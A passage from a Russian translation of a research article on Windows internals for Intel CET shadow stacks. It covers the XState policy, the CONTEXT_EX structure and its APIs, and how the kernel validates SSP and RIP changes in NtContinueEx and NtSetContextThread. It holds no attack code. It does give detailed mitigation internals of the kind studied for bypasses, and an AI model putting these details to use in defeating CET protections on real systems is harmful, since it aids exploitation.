[+0x020] Features [Type: _XSAVE_FEATURE [1]]
Для каждого XSAVE_FEATURE находится смещение в структуре XSAVE_VENDORS, которое содержит массив структур XSAVE_VENDOR, каждая из которых имеет строку поставщика центрального процессора (на данный момент каждая из них выглядит как "GenuineIntel", "AuthenticAMD" или "CentaurHauls"), и смещение к структуре XSAVE_CPU_ERRATA. Например, наша тестовая система версии 19H1 имела следующую информацию для функции 0:
C:Copy to clipboard
dx -r4 @$vendor = (XSAVE_VENDORS*)((int)@$policy->Features[0].Vendors + 0x253d0e90000)
[+0x000] NumberOfVendors : 0x3 [Type: unsigned long]
[+0x008] Vendor [Type: _XSAVE_VENDOR [1]]
[0] [Type: _XSAVE_VENDOR]
[+0x000] VendorId [Type: unsigned long [3]]
[0] : 0x756e6547 [Type: unsigned long]
[1] : 0x49656e69 [Type: unsigned long]
[2] : 0x6c65746e [Type: unsigned long]
[+0x010] SupportedCpu [Type: _XSAVE_SUPPORTED_CPU]
[+0x000] CpuInfo [Type: XSAVE_CPU_INFO]
[+0x020] CpuErrata : 0x4c0 [Type: XSAVE_CPU_ERRATA *]
[+0x020] Unused : 0x4c0 [Type: unsigned __int64]
Наконец, каждая структура XSAVE_CPU_ERRATA содержит соответствующие информационные данные процессора, которые соответствуют известным ошибкам, которые препятствуют поддержке указанной функции XState. Например, в нашей тестовой системе первые ошибки из смещения выше были:
Bash:Copy to clipboard
dx -r3 @$errata = (XSAVE_CPU_ERRATA*)((int)@$vendor->Vendor[0].SupportedCpu.CpuErrata + 0x253d0e90000)
[+0x000] NumberOfErrata : 0x1 [Type: unsigned long]
[+0x008] Errata [Type: XSAVE_CPU_INFO [1]]
[0] [Type: XSAVE_CPU_INFO]
[+0x000] Processor : 0x0 [Type: unsigned char]
[+0x002] Family : 0x6 [Type: unsigned short]
[+0x004] Model : 0xf [Type: unsigned short]
[+0x006] Stepping : 0xb [Type: unsigned short]
[+0x008] ExtendedModel : 0x0 [Type: unsigned short]
[+0x00c] ExtendedFamily : 0x0 [Type: unsigned long]
[+0x010] MicrocodeVersion : 0x0 [Type: unsigned __int64]
[+0x018] Reserved : 0x0 [Type: unsigned long]
Инструмент, который дампит политику аппаратного обеспечения вашей системы для всех функций XState, доступен на нашем GitHub (https://github.com/yardenshafir/cet-research/tree/master/Xpolicy) здесь. На данный момент во всей политике отображается только одна ошибка (показанная выше).
Наконец, следующие дополнительные параметры командной строки загрузчика (и соответствующие параметры BCD) могут использоваться для дальнейшей настройки возможностей Xstate:
- Параметр загрузки XSAVEPOLICY = n, установленный с помощью параметра BCD xsavepolicy, который устанавливает KeXSavePolicyId, указывая, какую загрузить из политик XState.
- Параметр загрузки XSAVEREMOVEFEATURE = n, установленный с помощью параметра BCD xsaveremovefeature, который устанавливает KeTestRemovedFeatureMask. Это будет позже проанализировано функцией KiInitializeXSave и исключит указанные биты состояния из поддержки. Обратите внимание, что State 0 (x87 FPU) и State 1 (SSE) не могут быть удалены таким образом.
- Параметр загрузки XSAVEDISABLE, установленный с помощью параметра BCD xsavedisable, который устанавливает KeTestDisableXsave и заставляет функцию KiInitializeXSave установить для всех данных конфигурации, связанных с XState, значение 0, полностью отключая функцию Xstate.
Click to expand...
CET XSAVE Формат области
В рамках реализации CET корпорация Intel определила два новых бита в стандарте XState, которые называются XSTATE_CET_U (11) и XSTATE_CET_S (12), что соответствует состоянию пользователя и супервизора соответственно. Первое состояние представляет собой 16-байтовую структуру данных, которая MSDN документирует как XSAVE_CET_U_FORMAT, содержащая MSR IA32_U_CET (где настроен флаг "Включение Теневого Стека") и MSR IA32_PL3_SSP (где хранится "SSP уровня привилегий 3"). Второй, который еще не имеет определения MSDN, включает MSR IA32_PL0/1/2_SSP.
C:Copy to clipboard
typedef struct _XSAVE_CET_U_FORMAT
{
ULONG64 Ia32CetUMsr;
ULONG64 Ia32Pl3SspMsr;
} XSAVE_CET_U_FORMAT, *PXSAVE_CET_U_FORMAT;
typedef struct _XSAVE_CET_S_FORMAT
{
ULONG64 Ia32Pl0SspMsr;
ULONG64 Ia32Pl1SspMsr;
ULONG64 Ia32Pl2SspMsr;
} XSAVE_CET_S_FORMAT, *PXSAVE_CET_S_FORMAT;
Как следует из имен полей, "регистры", связанные с CET, на самом деле являются значениями, хранящимися в соответствующих MSR, к которым обычно можно получить доступ только через привилегированные инструкции RDMSR и WRMSR в кольце защиты 0. Однако, в отличие от большинства MSR, в которых хранятся глобальные данные процессора, CET можно включить для каждого потока, а указатель теневого стека также явно для каждого потока. По этим причинам данные, связанные с CET, должны стать частью функциональности XState, чтобы операционные системы могли правильно обрабатывать переключатели потоков.
Поскольку регистры CET в основном являются регистрами MSR, которые обычно могут быть изменены только кодом ядра, они не доступны через инструкции CPL3 XSAVE/XRSTOR, и их соответствующие биты состояния всегда устанавливаются в 1 в MSR IA32_XSS. Однако, что усложняет ситуацию, так это то, что операционная система не может полностью заблокировать код пользовательского режима от изменения SSP. Код пользовательского режима может на законных основаниях нуждаться в обновлении SSP как части обработки исключений, раскрутки, setjmp/longjmp или определенных функций, таких как механизм "Нитей" в Windows.
Таким образом, операционные системы должны предоставлять возможность потокам изменять состояние CET в XState посредством системного вызова, подобно тому, как Windows предоставляет функция SetThreadContext как механизм обновления определенных защищенных регистров центрального процессора , таких как CS и DR7, при условии соблюдения определенных правил. Поэтому, в следующем разделе мы увидим, как структура CONTEXT превратилась в структуру CONTEXT_EX в более современных версиях Windows для поддержки информации, связанной с XState, и как должна была быть добавлена специфичная для CET обработка для законных сценариев, связанных с исключениями, в то же время избегая злонамеренных атак потока управления через поврежденные контексты.
Внутреннее устройство структуры CONTEXT_EX
Для поддержки растущего числа регистров, которые должны быть сохранены при каждом переключении контекста, новые версии Windows имеют структуру CONTEXT_EX в дополнение к устаревшей структуре CONTEXT. Это было необходимо из-за того, что CONTEXT является структурой фиксированного размера, в то время как XSAVE ввел потребность в данных о состоянии процессора динамического размера, которые зависят от потока, процессора и даже политики конфигурации компьютера.
Структура CONTEXT_EX
К сожалению, хотя в настоящее время используется во всех функциях обработки исключений ядра и пользовательского режима, структура CONTEXT_EX в значительной степени недокументирована, за исключением случайного выпуска некоторой информации в заголовочных файлах Windows 7 и некоторого справочного кода Intel (что может свидетельствовать о том, что на самом деле Intel ответственна за определение этой мерзости). Просто посмотрите на этот блок комментариев и скажите нам, можете ли вы что-нибудь понять:
C:Copy to clipboard
//
// This structure specifies an offset (from the beginning of CONTEXT_EX
// structure) and size of a single chunk of an extended context structure.
//
// N.B. Offset may be negative.
//
typedef struct _CONTEXT_CHUNK
{
LONG Offset;
DWORD Length;
} CONTEXT_CHUNK, *PCONTEXT_CHUNK;
//
// CONTEXT_EX structure is an extension to CONTEXT structure. It defines
// a context record as a set of disjoint variable-sized buffers (chunks)
// each containing a portion of processor state. Currently there are only
// two buffers (chunks) are defined:
//
// - Legacy, that stores traditional CONTEXT structure;
// - XState, that stores XSAVE save area buffer starting from
// XSAVE_AREA_HEADER, i.e. without the first 512 bytes.
//
// There a few assumptions exists that simplify conversion of PCONTEXT
// pointer to PCONTEXT_EX pointer.
//
// 1. APIs that work with PCONTEXT pointers assume that CONTEXT_EX is
// stored right after the CONTEXT structure. It is also assumed that
// CONTEXT_EX is present if and only if corresponding CONTEXT_XXX
// flags are set in CONTEXT.ContextFlags.
//
// 2. CONTEXT_EX.Legacy is always present if CONTEXT_EX structure is
// present. All other chunks are optional.
//
// 3. CONTEXT.ContextFlags unambigiously define which chunks are
// present. I.e. if CONTEXT_XSTATE is set CONTEXT_EX.XState is valid.
//
typedef struct _CONTEXT_EX
{
//
// The total length of the structure starting from the chunk with
// the smallest offset. N.B. that the offset may be negative.
//
CONTEXT_CHUNK All;
//
// Wrapper for the traditional CONTEXT structure. N.B. the size of
// the chunk may be less than sizeof(CONTEXT) is some cases (when
// CONTEXT_EXTENDED_REGISTERS is not set on x86 for instance).
// CONTEXT_CHUNK Legacy;
//
// CONTEXT_XSTATE: Extended processor state chunk. The state is
// stored in the same format XSAVE operation strores it with
// exception of the first 512 bytes, i.e. staring from
// XSAVE_AREA_HEADER. The lower two bits corresponding FP and
// SSE state must be zero.
// CONTEXT_CHUNK XState;
} CONTEXT_EX, *PCONTEXT_EX;
#define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), STACK_ALIGN)
//
// These macros make context chunks manupulations easier.
//
Таким образом, хотя эти заголовки пытаются объяснить структуру CONTEXT_EX, текст достаточно тупой (и полон ошибок на английском языке), так что нам потребовалось несколько раундов, пока мы не смогли его визуализировать, и почувствовал, что диаграмма может быть полезна ,
Как показано на схеме, структура CONTEXT_EX всегда находится в конце структуры CONTEXT и имеет 3 поля типа CONTEXT_CHUNK с именами All, Legacy и XState. Каждый из них определяет смещение и длину данных, связанных с ними, и существуют различные макросы RTL_ для извлечения соответствующего указателя данных.
Поле Legacy относится к началу исходной структуры CONTEXT (хотя длина может быть меньше на процессорах x86, если CONTEXT_EXTENDED_REGISTERS не указан). Поле "All" также относится к началу исходной структуры CONTEXT, но его длина описывает совокупность всех данных, включая сам CONTEXT_EX и пространство заполнения/выравнивания, необходимое для области XSAVE. Наконец, поле XState относится к структуре XSAVE_AREA_HEADER (которая затем определяет маску состояния, какие биты состояния включены и, следовательно, чьи данные присутствуют) и длину всей области XSAVE. Из-за этого макета важно отметить, что "All" и "Legacy" будут иметь отрицательные смещения.
Поскольку вся эта математика сложна, библиотека Ntdll.dll экспортирует различные API-интерфейсы, чтобы упростить построение, чтение, копирование и другие манипуляции с различными данными, хранящимися в структуре CONTEXT_EX (некоторые, но не все, эти API-интерфейсы внутренне используются ядром Ntoskrnl, но ничто не экспортируется). В свою очередь, библиотека KernelBase.dll экспортирует документированные функции Win32, которые внутренне используют эти возможности.
Инициализация структуры CONTEXT_EX
Во-первых, вызовы должны выяснить, какой объем памяти выделить для хранения структуры CONTEXT_EX, что можно сделать с помощью следующего API:
C:Copy to clipboard
NTSYSAPI
ULONG
NTAPI
RtlGetExtendedContextLength ( _In_ ULONG ContextFlags, _Out_ PULONG ContextLength);
Ожидается, что вызовы предоставят соответствующие флаги CONTEXT_XXX, чтобы указать, какие регистры они намереваются сохранить (а именно CONTEXT_XSTATE, в противном случае использование CONTEXT_EX на самом деле не приносит ничего). Эта функция затем читает SharedUserData.XState.EnabledFeatures и SharedUserData.XState.EnabledUserVisibleSupervisorFeatures и передает объединение всех битов в расширенную функцию (также экспортированную), показанную ниже.
C:Copy to clipboard
NTSYSAPI
ULONG
NTAPI
RtlGetExtendedContextLength2 (
_In_ ULONG ContextFlags,
_Out_ PULONG ContextLength,
_In_ ULONG64 XStateCompactionMask
);
Обратите внимание, что этот более новый API позволяет вручную указывать, какие состояния XState должны фактически сохраняться, вместо того, чтобы извлекать все включенные функции из конфигурации XState в общих пользовательских данных. Это приводит к тому, что структура CONTEXT_EX будет меньше и не будет содержать достаточно места для всех возможных Данных Состояния XState, поэтому при использовании этой структуры CONTEXT_EX в будущем не следует использовать Биты Состояния XState вне указанной маски.
Затем вызовы выделяет память для структуры CONTEXT_EX (в большинстве случаев Windows будет использовать функцию alloca(), чтобы избежать сбоев исчерпания памяти в путях исключений), и использует один из этих двух функций:
C:Copy to clipboard
NTSYSAPI
ULONG
NTAPI
RtlInitializeExtendedContext (
_Out_ PVOID Context,
_In_ ULONG ContextFlags,
_Out_ PCONTEXT_EX* ContextEx
);
NTSYSAPI
ULONG
NTAPI
RtlInitializeExtendedContext2 (
_Out_ PVOID Context,
_In_ ULONG ContextFlags,
_Out_ PCONTEXT_EX* ContextEx,
_In_ ULONG64 XStateCompactionMask
);
Как и прежде, новый API позволяет вручную указывать, какие состояния XState следует сохранять в их сжатой форме, в противном случае предполагается, что все доступные функции (основанные на SharedUserData) присутствуют. Очевидно, ожидается, что вызовы указывает те же флаги ContextFlags, что и при вызове RtlGetExtendedContextLength(2), чтобы убедиться, что структура контекста имеет правильный размер, как было выделено. В ответ вызовы теперь получает указатель на структуру CONTEXT_EX, которая, как ожидается, будет следовать за входным буфером CONTEXT.
Когда существует структуры CONTEXT_EX, вызов, скорее всего, сначала будет заинтересован в получении от него унаследованной структуры CONTEXT (без предположений о размерах), что можно сделать с помощью следующей функции:
C:Copy to clipboard
NTSYSAPI
PCONTEXT
NTAPI
RtlLocateLegacyContext (
_In_ PCONTEXT_EX ContextEx,
_Out_opt_ PULONG Length,
);
Однако, как уже упоминалось выше, это недокументированные и внутренние API- интерфейсы, предоставляемые уровнем NT в Windows. Легитимные приложения Win32 вместо этого упростят использование XState-совместимых структур CONTEXT, используя вместо этого следующие функции:
C:Copy to clipboard
WINBASEAPI
BOOL
WINAPI
InitializeContext (
_Out_writes_bytes_opt_(*ContextLength) PVOID Context,
_In_ DWORD ContextFlags,
_Out_ PCONTEXT_EX Context,
_Inout_ PDWORD ContextFlags
);
WINBASEAPI
BOOL
WINAPI
InitializeContext2 (
_Out_writes_bytes_opt_(*ContextLength) PVOID Context,
_In_ DWORD ContextFlags,
_Out_ PCONTEXT_EX Context,
_Inout_ PDWORD ContextFlags,
_In_ ULONG64 XStateCompactionMask
);
Эти две функции ведут себя подобно комбинации использования недокументированных функций: когда вызовы сначала передают NULL в качестве параметров Buffer и Context, функция возвращает требуемую длину в ContextLength, которую вызывающие абоненты должны выделить из памяти. При второй попытке, вызовы передают выделенный указатель в Buffer и получают указатель на структуру CONTEXT в Context без какого-либо знания базовой структуры CONTEXT_EX.
Управление масками объектов XState в структутре CONTEXT_EX
Чтобы получить доступ к XSTATE_BV (маска расширенной функции), которая глубоко встроена в поле XSAVE_AREA_HEADER в структуре CONTEXT_EX, система экспортирует два API-интерфейса для простой проверки, какие функции XState включены в структуру CONTEXT_EX, с соответствующим функциями для изменение маски Xstate.
Однако обратите внимание, что Windows никогда не хранит состояния x87 FPU(0) и SSE(1) в области XSAVE и вместо этого использует инструкцию FXSAVE, что означает, что область XSAVE никогда не будет содержать Устаревшую Область, и немедленно начнется с XSAVE_AREA_HEADER. Благодаря этому Get API всегда будет маскировать 2 нижних бита. Кроме того, API-интерфейс Set также гарантирует, что указанная функция присутствует в EnabledFeatures Конфигурации Xstate.
Имейте в виду, что если в InitializeContext2 (или внутренних нативных API- интерфейсах) была задана жестко закодированная маска сжатия, то API-интерфейс Set не следует использовать, кроме как для исключения существующих битов состояния (поскольку добавление нового бита подразумевает дополнительный неинициализированный выход данные о состоянии границ в CONTEXT_EX, который уже был бы предварительно выделен без этих данных).
C:Copy to clipboard
NTSYSAPI
ULONG64
NTAPI
RtlGetExtendedFeaturesMask (
_In_ PCONTEXT_EX ContextEx
);
NTSYSAPI
ULONG64
NTAPI
RtlSetExtendedFeaturesMask (
_In_ PCONTEXT_EX ContextEx,
_In_ ULONG64 FeatureMask
);
Документированная форма этих функций выглядит следующим образом:
C:Copy to clipboard
WINBASEAPI
BOOL
WINAPI
GetXStateFeaturesMask (
_In_ PCONTEXT Context
_Out_ PDWORD64 FeatureMask
);
NTSYSAPI
ULONG64
NTAPI
SetXStateFeaturesMask (
_In_ PCONTEXT Context,
_In_ DWORD64 FeatureMask
);
Нахождение объектов XState в структуре CONTEXT_EX
Из-за сложности структуры CONTEXT_EX, а также того факта, что функции XState могут присутствовать либо в сжатом, либо в не в сжатом виде, и что их присутствие также зависит от различных масок состояний, описанных ранее (особенно, если поддерживается оптимизированный XSAVE ), вызовам нужна библиотечная функция, чтобы быстро и легко получить указатель на соответствующие данные о состоянии в области XSAVE в пределах структуры CONTEXT_EX.
В настоящее время существуют две такие функции, как показано ниже, причем функция RtlLocateExtendedFeature является просто оболочкой для функции RtlLocateExtendedFeature2, которая снабжает ее указателем на SharedUserData.XState в качестве параметра конфигурации. Поскольку оба экспортируются, вызовы могут также вручную указать свою собственную пользовательскую конфигурацию XState в последней функции, если они того пожелают.
C:Copy to clipboard
NTSYSAPI
PVOID
NTAPI
RtlLocateExtendedFeature (
_In_ CONTEXT_EX ContextEx,
_In_ ULONG FeatureId,
_Out_opt_ PULONG Length
);
NTSYSAPI
PVOID
NTAPI
RtlLocateExtendedFeature2 (
_In_ CONTEXT_EX ContextEx,
_In_ ULONG FeatureId,
_In_ PXSTATE_CONFIGURATION Configuration,
_Out_opt_ PULONG Length
);
Обе эти две функции получают структуру CONTEXT_EX и идентификатор запрашиваемой функции и анализируют данные конфигурации XState, чтобы получить указатель на место хранения функции в области XSAVE. Обратите внимание, что они не проверяют и не возвращают какое-либо фактическое значение для указанной функции, которая зависит от вызывающей стороны.
Чтобы найти указатель, функция RtlLocateExtendedFeature2 делает следующее:
- Убеждается, чтобы идентификатор функции был выше 2 (поскольку состояния x87 FPU и SSE никогда не сохраняются через XSAVE в Windows) и ниже 64 (максимально возможный бит функции Xstate)
- Получает XSAVE_AREA_HEADER из CONTEXT_EX + CONTEXT_EX.XState.Offset
- Читает флаг Configuration-> ControlFlags.CompactionEnabled, чтобы узнать, используется ли сжатие или нет
- Если используется несжатый формат: читает Configuration->Features[n].Offset и .Size, чтобы узнать смещение и размер запрашиваемой функции в области XSAVE.
- Если используется сжатый формат:
- Считывает CompactionMask из XSAVE_AREA_HEADER (соответствует XCOMP_BV) и проверяет, содержит ли он запрошенную функцию
- Считывает Configuration->AllFeatures, чтобы узнать размеры всех включенных состояний, бит состояния которых предшествует запрошенному идентификатору функции, и вычисляет смещение запрошенного формата на основе суммирования этих размеров, выравнивая начало каждой предыдущей области состояния по 64. байт, если соответствующий бит установлен в Configuration->AlignedFeatures, и, наконец, при необходимости выравнивание начала области для указанного идентификатора объекта, если это необходимо
- Считывает размер запрошенной функции из Configuration.AllFeatures[n]
- Находит функцию в области XSAVE на основе его вычисленного смещения сверху и возвращает указатель на него, необязательно вместе с его соответствующим размером в выходной переменной Length.Click to expand...
Это означает, что для нахождения адреса определенной функции в несжатом формате достаточно проверить в SharedUserData, какие функции поддерживаются процессором. Однако в сжатом формате невозможно полагаться на смещения в SharedUserData, поэтому необходимо также проверить, какие функции включены в потоке, и рассчитать правильное смещение для объекта на основе размеров всех предыдущих функций.
В легитимных приложениях Win32 используются друие функции, который внутренне вызывает нативные функции выше, но с некоторой предварительной обработкой. Поскольку биты состояния 0 и 1 никогда не сохраняются как часть области XSAVE в структуре CONTEXT_EX, API-интерфейс Win32 обрабатывает эти два функциональных бита, извлекая их из соответствующих устаревших полей структуры CONTEXT, а именно FltSave для XSTATE_LEGACY_FLOATING_POINT и Xmm0 для XSTATE_LEGACY_SSE.
C:Copy to clipboard
WINBASEAPI
PVOID
WINAPI
LocateXStateFeature (
_In_ CONTEXT_EX Context,
_In_ DWORD FeatureId,
_Out_opt_ PDWORD Length
);
Пример использования
Чтобы разобраться с внутренностями XState, особенно в сочетании со структурой данных CONTEXT_EX, мы написали простую тестовую программу, доступную на нашем GitHub здесь (<https://github.com/yardenshafir/cet- research/tree/master/ContextEx>). Эта утилита демонстрирует некоторые из использованных функций, а также различные смещения, размеры и поведение. Вот выходные данные программы (которая использует регистры AVX) в системе с AVX, MPX и Intel PT:
Помимо прочего, обратите внимание, что прежний CONTEXT находится с отрицательным смещением, как и ожидалось, и как даже если система поддерживает состояние x87 FPU(1) и GSSE(2), XSAVEBV не содержит эти биты, поскольку они вместо этого сохранены в устаревшей области CONTEXT (и, следовательно, обратите внимание на отрицательные смещения связанных с ними данных состояния). После заголовка XSAVE, который составляет 0x40 байтов, обратите внимание, что состояние AVX(2) начинается со смещения 0x70, как и предполагалось в математике.
Проверка структуры CONTEXT_EX
Поскольку функции пользовательского режима могут создавать структуру CONTEXT_EX, которая в конечном итоге обрабатывается ядром и изменяет привилегированные части области XSAVE (а именно, данные состояния CET), Windows должна защищаться от нежелательных изменений, которые могут быть выполнены через функции, которые принимают CONTEXT_EX, такие как:
- NtContinue, которая используется для возобновления работы после исключения, обработки функциональности CRT longjmp, а также выполнения раскрутки стека.
- NtRaiseException, которая используется для вставки исключения в существующий поток
- NtQueueUserApc, которая используется для перехвата потока выполнения существующего потока
- NtSetContextThread, которая используется для изменения регистров/состояния процессора существующего потокаClick to expand...
Поскольку любой из этих системных вызовов может заставить ядро изменить либо регистр MSR IA32_PL3_SSP, либо IA32_CET_U, а также напрямую изменить указатель RIP для неожиданной цели, Windows должна проверить, что переданная структура CONTEXT_EX не нарушает гарантии CET.
Вскоре мы расскажем, как это делается для проверки SSP в версии 19H1 и добавления проверки указателя RIP в версии 20H1. Сначала нужно было сделать небольшой рефакторинг, чтобы уменьшить вероятность неправильного использования функции NtContinue: введение функции NtContinueEx.
NtContinueEx и KCONTINUE_ARGUMENT
Как перечислено выше, функциональность функции NtContinue используется в ряде ситуаций, и для обеспечения устойчивости CET в лице функции, которая допускает произвольные изменения состояния процессора, в интерфейс необходимо было добавить более детальное управление. Это было сделано путем создания нового перечисления с именем KCONTINUE_TYPE, которое присутствует в структуре данных KCONTINUE_ARGUMENT, которая теперь должна быть передана в расширенную версию NtContinue — NtContinueEx.
Эта структура данных также содержит новое поле ContinueFlags, которое заменяет исходный аргумент TestAlert для NtContinue на флаг CONTINUE_FLAG_RAISE_ALERT (0x1), а также вводит новый флаг CONTINUE_FLAG_BYPASS_CONTEXT_COPY (0x2), который напрямую доставляет APC с новым APF с с новым TrapFrame. Это оптимизация, которая ранее была реализована путем проверки того, был ли указатель записи CONTEXT в определенном месте в стеке пользователя, что заставило функцию предполагать, что она использовалась как часть доставки APC пользовательского режима. Вызовы, желающие этого поведения, теперь должны явно установить флаг в ContinueFlags.
Обратите внимание, что хотя старый интерфейс по-прежнему поддерживается по устаревшим причинам, он внутренне вызывает функцию NtContinueEx, которая распознает входной параметр как параметр BOOLEAN TestAlert, а не KCONTINUE_ARGUMENT. Такой случай рассматривается как KCONTINUE_UNWIND для целей нового интерфейса.
В рамках этого рефактора существуют следующие четыре возможных типа:
- KCONTINUE_UNWIND - используется старыми вызывающими объектами NtContinue, такими как функция RtlRestoreContext и функция LdrInitializeThunk, которые используется при раскрутки из исключений.
- KCONTINUE_RESUME - используется функцией KiInitializeUserApc при построении структуры KCONTINUE_ARGUMENT в стеке пользовательского режима, в которой KiUserApcDispatcher будет запускаться перед повторным вызовом NtContinueEx.
- KCONTINUE_LONGJUMP - используется функцией RtlContinueLongJump, которая вызывается RtlRestoreContext, если код исключения используется в записи исключения - STATUS_LONGJUMP.
- KCONTINUE_SET - никогда не передается в функцию NtContinueEx напрямую, а используется при вызове KeVerifyContextIpForUserCet из PspGetSetContextInternal в ответ на функцию NtSetContextThread.
Click to expand...
Проверка Указателя Теневого Стека (SSP)
Как мы уже упоминали, существуют законные случаи, когда код пользовательского режима должен будет изменить указатель теневого стека, например, раскрутка исключений, APC, longjmp и так далее. Но операционная система должна проверить новое значение, запрошенное для SSP, чтобы для предотвращения обходов CET. В версии 19H1 это было реализовано новой функцией KeVerifyContextXStateCetU. Эта функция получает поток, контекст которого изменяется, и новый контекст для потока и выполняет следующие действия:
- Если структура CONTEXT_EX не содержит никаких данных, XState или если данные XState не содержат регистры CET (проверяется путем вызова RtlLocateExtendedFeature2 с битом состояния XSTATE_CET_U), проверка не требуется.
- Если CET включен в целевом потоке:
Убедитесь, что вызыв не пытается отключить CET в этом потоке, маскируя флаг XSTATE_MASK_CET_U из XSAVEBV. Если это происходит, функция повторно активирует бит состояния, установит MSR_IA32_CET_SHSTK_EN (который является флагом, который включает функцию теневого стека CET) в Ia32CetUMsr, и установит текущий теневой стек как Ia32Pl3SspMsr.
В противном случае вызовите функцию KiVerifyContextXStateCetUEnabled, чтобы проверить, включен ли теневой стек CET (включен регистр MSR_IA32_CET_SHSTK_EN), что новый SSP выровнен на 8 байтов и что он находится между текущим значением SSP и концом VAD области теневого стека. Обратите внимание, что поскольку стеки растут в обратном направлении, "конец" области фактически является началом стека. Следовательно, при установке нового контекста для потока любое значение SSP является действительным, если оно находится внутри части теневого стека, который до сих пор использовалась потоком. Нет предела тому, насколько далеко поток может зайти в свой теневой стек.
- Если CET отключен в целевом потоке, и вызов пытается включить его, включив маску XSTATE_CET_U в XSAVEBV в CONTEXT_EX, то разрешить установку обоих значений MSR только в 0 (без стеков теней и без SSP).
Click to expand...
Любые сбои в описанных проверках будут возвращать STATUS_SET_CONTEXT_DENIED, тогда как STATUS_SUCCESS возвращается в других случаях.
Включение CET также неявно включает проверку содержимого стека, первоначально реализованную в Windows 8.1 вместе с CFG. Это видно через бит CheckStackExtents в поле ProcessFlags KPROCESS. Это означает, что всякий раз, когда проверяется целевой SSP, также вызывается KeVerifyContextRecord, и функция проверяет, является ли целевой RSP либо частью ограничений пользовательского стека TEB текущего потока (или ограничений пользовательского стека TEB32, если это процесс WOW64). Эти проверки, реализованные функцией RtlGuardIsValidStackPointer (и RtlGuardIsValidWow64StackPointer), ранее были задокументированы (и показаны как недостаточные) исследователями как в Tenable (<https://medium.com/tenable-techblog/api-series- setthreadcontext-d08c9f84458d>), так и в enSilo (https://blog.ensilo.com/atombombing-cfg-protected-processes).
Проверка указателя инструкций (RIP)
В сборке 19030 появилась другая функция, использующая Intel CET - проверка того, что новый указатель RIP, который пытается установить для процесса, является допустимым. Так же, как проверка SSP, эта защита может быть включена, только если для потока включен CET. Однако проверка указателя RIP не включена по умолчанию и должна быть включена для процесса (что указывается битом UserCetSetContextIpValidation в поле MitigationFlags2Values в EPROCESS).
При этом для текущих сборок создается впечатление, что при вызове CreateProcess и использовании атрибута PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, если флаг PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON включен, эта опция будет установлена. (Обратите внимание, что вызов SetProcessMitgationPolicy со значением ProcessUserShadowStackPolicy недопустим, поскольку CET можно включить только во время создания процесса).
Интересно, однако, что новая опция безопасности была добавлена на карту защиты, PS_MITIGATION_OPTION_USER_CET_SET_CONTEXT_IP_VALIDATION (32). Переключение этого (недокументированного) параметра приводит к включению бита AuditUserCetSetContextIpValidation в поле MitigationFlags2Values, которое будет вскоре описано. Кроме того, поскольку теперь это 32-я опция (каждая из которых занимает 4 бита для DEFERRED/OFF/ON/RESERVED), теперь, таким образом, необходимо 132 бита, и PS_MITIGATION_OPTIONS_MAP расширена до 3 64-битных элементов массива в поле карты.
Новая функция KeVerifyContextIpForUserCet будет вызываться всякий раз, когда собирается изменить контекст потока. Она проверит, что и CET, и защита указателя RIP включены для потока, а также проверит, установлен ли флаг CONTEXT_CONTROL в параметре контекста, означая, что указатель RIP будет изменен этим новым контекстом. Если все эти проверки пройдены, она вызывает внутреннюю функцию KiVerifyContextIpForUserCet. Цель этой функции - проверить, что целевое значение RIP является допустимым значением, а не значением, используемым эксплоитом для запуска произвольного кода.
Сначала она проверяет, что целевой адрес RIP не является адресом ядра, а также не адресом в младших байтах 0x10000, который не должен отображаться. Затем она извлекает этот базовый кадр-ловушку и проверяет, является ли целевой RIP, RIP этого кадра-ловушки. Это предназначено для разрешения случаев, когда целевой RIP является предыдущим адресом в режиме пользователя. Это обычно происходит, когда это первый раз, когда NtSetThreadContext вызывается для этого потока, а RIP устанавливается в качестве начального адреса для потока, но также может происходить и в других, менее распространенных случаях.
Функция получает KCONTINUE_TYPE и, основываясь на его значении, обрабатывает целевой RIP различными способами. В большинстве случаев она будет перебирать теневой стек и искать целевой RIP. Если она не находит его, он будет продолжать работать до тех пор, пока не сработает исключение и не получит обработчик исключений. Обработчик исключений проверит, является ли предоставленный KCONTINUE_TYPE KCONTINUE_UNWIND, и если это так вызывает функцию RtlVerifyUserUnwindTarget с флагом KCONTINUE_UNWIND. Эта функция попытается снова проверить RIP, на этот раз используя более сложные проверки, которые мы опишем в следующем разделе.
В любом другом случае, функция вернет STATUS_SET_CONTEXT_DENIED, что заставит KeVerifyContextIpForUserCet вызвать функцию KiLogUserCetSetContextIpValidationAudit, чтобы проверить сбой, если в AuditUserCetSetContextIpValidationC установлен флаг. Этот "аудит" довольно интересен, так как вместо того, чтобы проводиться по обычному каналу безопасности ETW процессов, он выполняется путем непосредственного вызова исключения быстрого сбоя с помощью службы отчетов об ошибках Windows (WER) (то есть отправки исключения 0xC000409 с информацией установить в FAST_FAIL_SET_CONTEXT_DENIED). Чтобы избежать спама WER, используется другой бит EPROCESS, AuditUserCetSetContextIpValidationLogged.
В одном случае функция прекратит итерацию по теневому стеку, прежде чем найдет целевой указатель RIP - если поток завершается и текущий адрес теневого стека теней выровнен по странице. Это означает, что для завершающих потоков функция будет пытаться проверить целевой RIP только на текущей странице стека теней как "best effort", но не пойдет дальше. Если он не найдет целевой RIP на этой странице, она вернет STATUS_THREAD_IS_TERMINATING.
Другой случай в этой функции - когда KCONTINUE_TYPE имеет значение KCONTINUE_LONGJUMP. Тогда целевой RIP не будет проверен по стеку, но вместо этого будет вызвана функция RtlVerifyUserUnwindTarget с флагом KCONTINUE_LONGJUMP для проверки RIP в таблице longjmp каталога конфигурации загрузки отображений PE. Мы опишем эту таблицу и эти проверки в следующем разделе этого блога.
KeVerifyContextIpForUserCet вызывается одной из следующих двух функций:
- PspGetSetContextInternal - вызывается в ответ на функцию NtSetContextThread.
